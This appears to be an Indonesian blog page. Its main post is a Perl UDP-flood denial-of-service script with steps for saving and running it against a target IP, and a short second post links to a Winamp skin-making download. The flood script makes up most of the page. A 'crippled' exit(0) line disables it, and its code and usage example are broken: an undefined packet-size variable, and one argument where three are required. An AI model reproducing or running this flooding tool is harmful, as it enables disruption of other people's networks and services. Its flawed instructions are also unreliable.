flood menggunakan script perl

isi script dibawah copy ke notepad

#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

# pseudo-crippled by packetstorm to stop script kiddies.
exit(0);
#

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 \n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

setelah selesai simpan dengan nama flood.pl
dan simpan di direktori C

cara memakai :
buka command prompt
akses file flood.pl di direktori C dengan mengetikkan
cd\
setelah itu eksekusi file flood.pl dengan mengetikkan
flood.pl 9999999999999999999999999999999999999
Diposkan oleh ELECTRON CYBER di 20.06 0 komentar
skin creator for winamp
membuat skins winamp dengan mudah cukup menginstall aplikasi bernama skinner to anda bisa membuat skin anda sendiri tapi skin yang kita buat tidak terlalu aktraktiv
bagi yang mau buat skin winamp dengan fotonya sendiri foto pacarnya ato foto almarhum / almarhumah (bercanda) ini link download nya

http://www.4shared.com/file/250323540/3eb50f3d/skinnertoo_se24_2.html